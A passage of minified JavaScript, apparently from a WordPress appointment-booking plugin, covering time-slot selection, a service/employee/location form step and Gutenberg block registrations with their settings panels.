t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new B(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",n=this.cartItem.getService();if(n.isGroupService()){let s=n.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=" ",i+='<span class="mpa-slot-capacity">',i+='<span class="mpa-slot-capacity-label">'+n.getQuantityLabel()+":</span>",i+="&nbsp;",i+='<span class="mpa-slot-capacity-number">'+s+"</span>",i+="</span>"}let a=$e(i,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(a),s++}s>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(h("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=k(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class ot extends Ee{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const s=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const s=$(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const s=$(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const s=$(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr("data-default");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map($)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map($)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map($)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,s){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let s;const i=parseInt(this.serviceId,10);if(i>0){const t=this.availabilityService.getServiceCategories(i);s=j(U(e,Object.keys(t)))}else s=null;const n=W(e,t,s),a=this.category||"";Re(this.$categoriesSelect,{"":this.unselectedOptionText},n,a),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.serviceId?"":String(this.serviceId);Re(this.$servicesSelect,{"":this.unselectedServiceText},t,s),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.employeeId?"0":String(this.employeeId);Re(this.$employeesSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),s=0===this.locationId?"0":String(this.locationId);Re(this.$locationsSelect,{0:this.unselectedOptionText},t,s),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:C().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class rt{constructor(e){this.$element=e,this.$message=this.$element.children(".mpa-message"),this.cart=new Ce,this.steps=new Se(this.cart),this.load()}setupSteps(){this.steps.addStep(new ot(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new at(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new Ne(this.$element.find(".mpa-booking-step-cart"),this.cart)).addStep(new ze(this.$element.find(".mpa-booking-step-checkout"),this.cart)),C().settings().isPaymentsEnabled()&&this.steps.addStep(new nt(this.$element.find(".mpa-booking-step-payment"),this.cart)),this.steps.addStep(new Ie(this.$element.find(".mpa-booking-step-booking"),this.cart)),this.steps.mount(this.$element)}load(){this.cart.createItem();let e=new Z;Promise.all([e.load(),C().settings().ready()]).finally((()=>{this.setupSteps(),this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.show(),e.isEmpty()?(this.$message.html(h("Sorry, there are no services, employees or locations to book.","motopress-appointment")),this.$message.removeClass("mpa-hide")):this.steps.goToNextStep()}))}show(){this.$element.addClass("mpa-loaded")}}function lt(e,t){if(e===t)return!0;if("object"!=typeof e||null===e||"object"!=typeof t||null===t)return!1;let s=Object.keys(e),i=Object.keys(t);if(s.length!==i.length)return!1;for(let n of s)if(!i.includes(n)||!lt(e[n],t[n]))return!1;return!0}const{serverSideRender:pt}=wp,{Component:mt,Fragment:ct}=wp.element,{Disabled:ht,Placeholder:dt,Spinner:ut}=wp.components,{jQuery:gt}=window;const{registerBlockType:yt}=wp.blocks;yt("motopress-appointment/appointment-form",{title:s.__("Appointment Form","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("path",{d:"M0,18v6h24v-6H0z M22,22H2v-2h20V22z"}),wp.element.createElement("path",{d:"M21,7V1h-3V0h-2v1H8V0H6v1H3v6v9h18V7z M5,3h1v1h2V3h8v1h2V3h1v2H5V3z M5,14V7h14v7H5z"}),wp.element.createElement("rect",{x:"7",y:"8",width:"2",height:"2"}),wp.element.createElement("rect",{x:"11",y:"8",width:"2",height:"2"}),wp.element.createElement("rect",{x:"15",y:"8",width:"2",height:"2"}),wp.element.createElement("rect",{x:"7",y:"11",width:"2",height:"2"}),wp.element.createElement("rect",{x:"11",y:"11",width:"2",height:"2"}),wp.element.createElement("rect",{x:"15",y:"11",width:"2",height:"2"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{form_title:{type:"string",default:""},show_category:{type:"boolean",default:!0},show_service:{type:"boolean",default:!0},show_location:{type:"boolean",default:!0},show_employee:{type:"boolean",default:!0},label_category:{type:"string",default:""},label_service:{type:"string",default:""},label_location:{type:"string",default:""},label_employee:{type:"string",default:""},label_unselected:{type:"string",default:""},label_option:{type:"string",default:""},default_category:{type:"string",default:""},default_service:{type:"string",default:""},default_location:{type:"string",default:""},default_employee:{type:"string",default:""},timepicker_columns:{type:"number",default:3},show_timepicker_end_time:{type:"boolean",default:!1},show_add_to_calendar:{type:"boolean",default:!0},form_width:{type:"string",default:""},primary_color:{type:"string",default:""},primary_bg_color:{type:"string",default:""},secondary_color:{type:"string",default:""},secondary_bg_color:{type:"string",default:""},buttons_padding:{type:"string",default:""}},edit:class extends mt{state={initialized:!1};containerRef=React.createRef();observer=null;render(){return wp.element.createElement(ct,null,wp.element.createElement(le,this.props),wp.element.createElement("div",{ref:this.containerRef},wp.element.createElement(ht,null,wp.element.createElement(pt,{block:"motopress-appointment/appointment-form",attributes:this.props.attributes,LoadingResponsePlaceholder:this.handleServerSideRenderLoad}))))}initAppointmentForm=()=>{const e=gt(this.containerRef.current).find(".appointment-form-shortcode").last();e.length&&!e.data("initialized")&&(new rt(e),e.data("initialized",!0))};handleAttributesUpdate=()=>{this.setState({initialized:!1},this.initAppointmentForm)};componentDidMount(){this.initAppointmentForm(),this.observeDOMChanges()}componentDidUpdate(e){lt(this.props.attributes,e.attributes)||this.handleAttributesUpdate()}componentWillUnmount(){this.observer&&this.observer.disconnect()}observeDOMChanges(){const e=this.containerRef.current;this.observer=new MutationObserver((e=>{e.forEach((e=>{"childList"===e.type&&this.initAppointmentForm()}))})),this.observer.observe(e,{childList:!0,subtree:!0})}handleServerSideRenderLoad=({className:e})=>(setTimeout(this.handleAttributesUpdate,500),wp.element.createElement(dt,{className:e},wp.element.createElement("div",{style:{display:"flex",justifyContent:"center",width:"100%"}},wp.element.createElement(ut,null))))},save:()=>null});const{Component:bt,Fragment:_t}=wp.element,{SelectControl:vt,PanelBody:ft,TextControl:wt,ToggleControl:Ct,RangeControl:St}=wp.components,{InspectorControls:Et}=wp.blockEditor||wp.editor;let kt=class extends bt{render(){const{show_image:e,show_title:t,show_excerpt:i,show_contacts:n,show_social_networks:a,show_additional_info:o,employees:r,locations:l,posts_per_page:p,columns_count:m,orderby:c,order:h}=this.props.attributes,{setAttributes:d}=this.props;return[wp.element.createElement(Et,{key:"inspector"},wp.element.createElement(_t,null,wp.element.createElement(ft,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Ct,{label:s.__("Show featured image.","motopress-appointment"),checked:e,onChange:e=>{d({show_image:e})}}),wp.element.createElement(Ct,{label:s.__("Show post title.","motopress-appointment"),checked:t,onChange:e=>{d({show_title:e})}}),wp.element.createElement(Ct,{label:s.__("Show post excerpt.","motopress-appointment"),checked:i,onChange:e=>{d({show_excerpt:e})}}),wp.element.createElement(Ct,{label:s.__("Show contact information.","motopress-appointment"),checked:n,onChange:e=>{d({show_contacts:e})}}),wp.element.createElement(Ct,{label:s.__("Show social networks.","motopress-appointment"),checked:a,onChange:e=>{d({show_social_networks:e})}}),wp.element.createElement(Ct,{label:s.__("Show additional information.","motopress-appointment"),checked:o,onChange:e=>{d({show_additional_info:e})}}),wp.element.createElement(wt,{label:s.__("Employees","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of employees that will be shown.","motopress-appointment"),value:r,onChange:e=>{d({employees:e})}}),wp.element.createElement(wt,{label:s.__("Locations","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of locations.","motopress-appointment"),value:l,onChange:e=>{d({locations:e})}}),wp.element.createElement(St,{label:s.__("Posts Per Page","motopress-appointment"),value:p,onChange:e=>d({posts_per_page:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(St,{label:s.__("Columns Count","motopress-appointment"),help:s.__("The number of columns in the grid.","motopress-appointment"),value:m,onChange:e=>d({columns_count:e}),min:0,max:100,placeholder:"0"}),wp.element.createElement(vt,{label:s.__("Order By","motopress-appointment"),value:void 0!==c?c:"none",onChange:e=>d({orderby:e}),options:[{value:"none",label:s.__("No order","motopress-appointment")},{value:"ID",label:s.__("Post ID","motopress-appointment")},{value:"author",label:s.__("Post author","motopress-appointment")},{value:"title",label:s.__("Post title","motopress-appointment")},{value:"name",label:s.__("Post name (post slug)","motopress-appointment")},{value:"date",label:s.__("Post date","motopress-appointment")},{value:"modified",label:s.__("Last modified date","motopress-appointment")},{value:"rand",label:s.__("Random order","motopress-appointment")},{value:"relevance",label:s.__("Relevance","motopress-appointment")},{value:"menu_order",label:s.__("Page order","motopress-appointment")},{value:"menu_order title",label:s.__("Page order and post title","motopress-appointment")}]}),"none"!==c&&wp.element.createElement(vt,{label:s.__("Order","motopress-appointment"),value:void 0!==h?h:"desc",onChange:e=>d({order:e}),options:[{value:"desc",label:s.__("DESC","motopress-appointment")},{value:"asc",label:s.__("ASC","motopress-appointment")}]}))))]}};const{serverSideRender:Pt}=wp,{Component:It,Fragment:Tt}=wp.element,{Disabled:$t}=wp.components;const{registerBlockType:Dt}=wp.blocks;Dt("motopress-appointment/employees-list",{title:s.__("Employees List","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M14.93,6.7C15.59,5.99,16,5.05,16,4c0-2.21-1.79-4-4-4S8,1.79,8,4c0,1.05,0.41,1.99,1.07,2.7C6.95,7.78,5.5,9.97,5.5,12.5\r c0,0.17,0.01,0.33,0.03,0.5H6h1.55h8.9H17h1.47c0.01-0.17,0.03-0.33,0.03-0.5C18.5,9.97,17.05,7.78,14.93,6.7z M12,2\r c1.1,0,2,0.9,2,2s-0.9,2-2,2s-2-0.9-2-2S10.9,2,12,2z M12,8c1.95,0,3.6,1.26,4.22,3H7.78C8.4,9.26,10.05,8,12,8z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:"boolean",default:!0},show_title:{type:"boolean",default:!0},show_excerpt:{type:"boolean",default:!0},show_contacts:{type:"boolean",default:!0},show_social_networks:{type:"boolean",default:!0},show_additional_info:{type:"boolean",default:!0},employees:{type:"string",default:""},locations:{type:"string",default:""},posts_per_page:{type:"number",default:3},columns_count:{type:"number",default:3},orderby:{type:"string",default:"none"},order:{type:"string",default:"desc"}},edit:class extends It{constructor(e){super(...arguments)}render(){return wp.element.createElement(Tt,null,wp.element.createElement(kt,this.props),wp.element.createElement($t,null,wp.element.createElement(Pt,{block:"motopress-appointment/employees-list",attributes:this.props.attributes})))}},save:()=>null});const{Component:xt,Fragment:Mt}=wp.element,{SelectControl:At,PanelBody:Bt,TextControl:Lt,ToggleControl:Ft,RangeControl:Rt}=wp.components,{InspectorControls:Ot}=wp.blockEditor||wp.editor;let Nt=class extends xt{render(){const{show_image:e,show_title:t,show_excerpt:i,locations:n,categories:a,posts_per_page:o,columns_count:r,orderby:l,order:p}=this.props.attributes,{setAttributes:m}=this.props;return[wp.element.createElement(Ot,{key:"inspector"},wp.element.createElement(Mt,null,wp.element.createElement(Bt,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Ft,{label:s.__("Show featured image.","motopress-appointment"),checked:e,onChange:e=>{m({show_image:e})}}),wp.element.createElement(Ft,{label:s.__("Show post title.","motopress-appointment"),checked:t,onChange:e=>{m({show_title:e})}}),wp.element.createElement(Ft,{label:s.__("Show post excerpt.","motopress-appointment"),checked:i,onChange:e=>{m({show_excerpt:e})}}),wp.element.createElement(Lt,{label:s.__("Locations","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of locations.","motopress-appointment"),value:n,onChange:e=>{m({locations:e})}}),wp.element.createElement(Lt,{label:s.__("Categories","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of categories that will be shown.","motopress-appointment"),value:a,onChange:e=>{m({categories:e})}}),wp.element.createElement(Rt,{label:s.__("Posts Per Page","motopress-appointment"),value:o,onChange:e=>m({posts_per_page:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(Rt,{label:s.__("Columns Count","motopress-appointment"),help:s.__("The number of columns in the grid.","motopress-appointment"),value:r,onChange:e=>m({columns_count:e}),min:0,max:100,placeholder:"0"}),wp.element.createElement(At,{label:s.__("Order By","motopress-appointment"),value:void 0!==l?l:"none",onChange:e=>m({orderby:e}),options:[{value:"none",label:s.__("No order","motopress-appointment")},{value:"ID",label:s.__("Post ID","motopress-appointment")},{value:"author",label:s.__("Post author","motopress-appointment")},{value:"title",label:s.__("Post title","motopress-appointment")},{value:"name",label:s.__("Post name (post slug)","motopress-appointment")},{value:"date",label:s.__("Post date","motopress-appointment")},{value:"modified",label:s.__("Last modified date","motopress-appointment")},{value:"rand",label:s.__("Random order","motopress-appointment")},{value:"relevance",label:s.__("Relevance","motopress-appointment")},{value:"menu_order",label:s.__("Page order","motopress-appointment")},{value:"menu_order title",label:s.__("Page order and post title","motopress-appointment")}]}),"none"!==l&&wp.element.createElement(At,{label:s.__("Order","motopress-appointment"),value:void 0!==p?p:"desc",onChange:e=>m({order:e}),options:[{value:"desc",label:s.__("DESC","motopress-appointment")},{value:"asc",label:s.__("ASC","motopress-appointment")}]}))))]}};const{serverSideRender:Ht}=wp,{Component:Vt,Fragment:zt}=wp.element,{Disabled:qt}=wp.components;const{registerBlockType:Ut}=wp.blocks;Ut("motopress-appointment/locations-list",{title:s.__("Locations List","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("polygon",{points:"24,21 6,21 6,23 24,23 "}),wp.element.createElement("path",{d:"M2,20c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,20,2,20L2,20z"}),wp.element.createElement("polygon",{points:"24,15 6,15 6,17 24,17 "}),wp.element.createElement("path",{d:"M2,14c-1.1,0-2,0.9-2,2s0.9,2,2,2s2-0.9,2-2S3.1,14,2,14L2,14z"}),wp.element.createElement("path",{d:"M12,1C9.79,1,8,2.79,8,5s4,8,4,8s4-5.79,4-8S14.21,1,12,1z M12,7c-1.1,0-2-0.9-2-2s0.9-2,2-2s2,0.9,2,2S13.1,7,12,7z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:"boolean",default:!0},show_title:{type:"boolean",default:!0},show_excerpt:{type:"boolean",default:!0},locations:{type:"string",default:""},categories:{type:"string",default:""},posts_per_page:{type:"number",default:3},columns_count:{type:"number",default:3},orderby:{type:"string",default:"none"},order:{type:"string",default:"desc"}},edit:class extends Vt{constructor(){super(...arguments)}render(){return wp.element.createElement(zt,null,wp.element.createElement(Nt,this.props),wp.element.createElement(qt,null,wp.element.createElement(Ht,{block:"motopress-appointment/locations-list",attributes:this.props.attributes})))}},save:()=>null});const{Component:jt,Fragment:Wt}=wp.element,{SelectControl:Gt,PanelBody:Yt,TextControl:Qt,ToggleControl:Kt,RangeControl:Zt}=wp.components,{InspectorControls:Jt}=wp.blockEditor||wp.editor;let Xt=class extends jt{render(){const{show_image:e,show_count:t,show_description:i,parent:n,categories:a,exclude_categories:o,hide_empty:r,depth:l,number:p,columns_count:m,orderby:c,order:h}=this.props.attributes,{setAttributes:d}=this.props;return[wp.element.createElement(Jt,{key:"inspector"},wp.element.createElement(Wt,null,wp.element.createElement(Yt,{title:s.__("Settings","motopress-appointment"),initialOpen:!0},wp.element.createElement(Kt,{label:s.__("Show featured image.","motopress-appointment"),checked:e,onChange:e=>{d({show_image:e})}}),wp.element.createElement(Kt,{label:s.__("Show Services Count?","motopress-appointment"),checked:t,onChange:e=>{d({show_count:e})}}),wp.element.createElement(Kt,{label:s.__("Show Description?","motopress-appointment"),checked:i,onChange:e=>{d({show_description:e})}}),wp.element.createElement(Qt,{label:s.__("Parent","motopress-appointment"),help:s.__("Parent term slug or ID to retrieve direct-child terms from.","motopress-appointment"),value:n,onChange:e=>{d({parent:e})}}),wp.element.createElement(Qt,{label:s.__("Categories","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of categories that will be shown.","motopress-appointment"),value:a,onChange:e=>{d({categories:e})}}),wp.element.createElement(Qt,{label:s.__("Exclude Categories","motopress-appointment"),help:s.__("Comma-separated slugs or IDs of categories that will not be shown.","motopress-appointment"),value:o,onChange:e=>{d({exclude_categories:e})}}),wp.element.createElement(Kt,{label:s.__("Hide Empty","motopress-appointment"),help:s.__("Hide terms not assigned to any posts.","motopress-appointment"),checked:r,onChange:e=>{d({hide_empty:e})}}),wp.element.createElement(Zt,{label:s.__("Depth","motopress-appointment"),help:s.__("Display depth of child categories.","motopress-appointment"),value:l,onChange:e=>d({depth:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(Zt,{label:s.__("Number","motopress-appointment"),help:s.__("Maximum number of categories to show.","motopress-appointment"),value:p,onChange:e=>d({number:e}),min:-1,max:100,placeholder:"0"}),wp.element.createElement(Zt,{label:s.__("Columns Count","motopress-appointment"),help:s.__("The number of columns in the grid.","motopress-appointment"),value:m,onChange:e=>d({columns_count:e}),min:0,max:100,placeholder:"0"}),wp.element.createElement(Gt,{label:s.__("Order By","motopress-appointment"),value:void 0!==c?c:"none",onChange:e=>d({orderby:e}),options:[{value:"none",label:s.__("No order","motopress-appointment")},{value:"name",label:s.__("Term name","motopress-appointment")},{value:"slug",label:s.__("Term slug","motopress-appointment")},{value:"term_id",label:s.__("Term ID","motopress-appointment")},{value:"parent",label:s.__("Parent ID","motopress-appointment")},{value:"count",label:s.__("Number of associated objects","motopress-appointment")},{value:"include",label:s.__('Keep the order of "IDs" parameter',"motopress-appointment")},{value:"term_order",label:s.__("Term order","motopress-appointment")},{value:"service_category_order",label:s.__("Page order","motopress-appointment")}]}),"none"!==c&&wp.element.createElement(Gt,{label:s.__("Order","motopress-appointment"),value:void 0!==h?h:"desc",onChange:e=>d({order:e}),options:[{value:"desc",label:s.__("DESC","motopress-appointment")},{value:"asc",label:s.__("ASC","motopress-appointment")}]}))))]}};const{serverSideRender:es}=wp,{Component:ts,Fragment:ss}=wp.element,{Disabled:is}=wp.components;const{registerBlockType:ns}=wp.blocks;ns("motopress-appointment/service-categories",{title:s.__("Service Categories","motopress-appointment"),icon:wp.element.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",x:"0px",y:"0px",viewBox:"0 0 24 24"},wp.element.createElement("path",{d:"M7.17,2l1.41,1.41L9.17,4H10h12v18H2V2H7.17 M8,0H0v2v22h24V2H10L8,0L8,0z"}),wp.element.createElement("path",{d:"M17.59,14.18l-1.02-0.8c0.01-0.11,0.02-0.24,0.02-0.38s-0.01-0.27-0.02-0.38l1.02-0.8c0.26-0.21,0.32-0.57,0.16-0.85\r l-1.12-1.92c-0.16-0.29-0.51-0.41-0.82-0.3l-1.2,0.48c-0.21-0.15-0.43-0.27-0.65-0.38l-0.18-1.28C13.73,7.24,13.45,7,13.12,7h-2.25\r c-0.33,0-0.61,0.24-0.65,0.56l-0.18,1.28C9.81,8.95,9.59,9.08,9.38,9.22l-1.2-0.48c-0.31-0.12-0.65,0-0.81,0.29l-1.13,1.94\r c-0.16,0.28-0.09,0.65,0.16,0.85l1.02,0.8C7.41,12.76,7.41,12.88,7.41,13s0,0.24,0.02,0.38l-1.03,0.8\r c-0.25,0.21-0.32,0.57-0.16,0.85l1.12,1.92c0.16,0.29,0.51,0.41,0.82,0.29l1.2-0.48c0.21,0.15,0.43,0.27,0.65,0.38l0.18,1.28\r c0.04,0.33,0.32,0.57,0.65,0.57h2.25c0.33,0,0.61-0.24,0.65-0.56l0.18-1.28c0.23-0.11,0.45-0.24,0.65-0.38l1.21,0.48\r c0.31,0.12,0.65,0,0.81-0.29l1.13-1.95C17.92,14.73,17.85,14.38,17.59,14.18z M12,15.5c-1.38,0-2.5-1.12-2.5-2.5s1.12-2.5,2.5-2.5\r s2.5,1.12,2.5,2.5S13.38,15.5,12,15.5z"})),category:"mpa-gutenberg-blocks",keywords:[s.__("appointment","motopress-appointment")],supports:{anchor:!0,customClassName:!0},attributes:{show_image:{type:"boolean",default:!0},show_count:{type:"boolean",default:!0},show_description:{type:"boolean",default:!0},parent:{type:"string",default:""},categories:{type:"string",default:""},exclude_categories:{type:"string",default:""},hide_empty:{type:"boolean",default:!0},depth:{type:"number",default:3},number:{type:"number",default:3},columns_count:{type:"number",default:3},orderby:{type:"string",default:"none"},order:{type:"string",default:"desc"}},edit:class extends ts{constructor(){super(...arguments)}render(){return wp.element.createElement(ss,null,wp.element.createElement(Xt,this.props),wp.element.createElement(is,null,wp.element.createElement(es,{block:"motopress-appointment/service-categories",attributes:this.props.attributes})))}},save:()=>null});const{Component:as,Fragment:os}=wp.element,{SelectControl:rs,PanelBody:ls,TextControl:ps,ToggleControl:ms,RangeControl:cs}=wp.components,{InspectorControls:hs}=wp.blockEditor||wp.editor;let ds=class extends 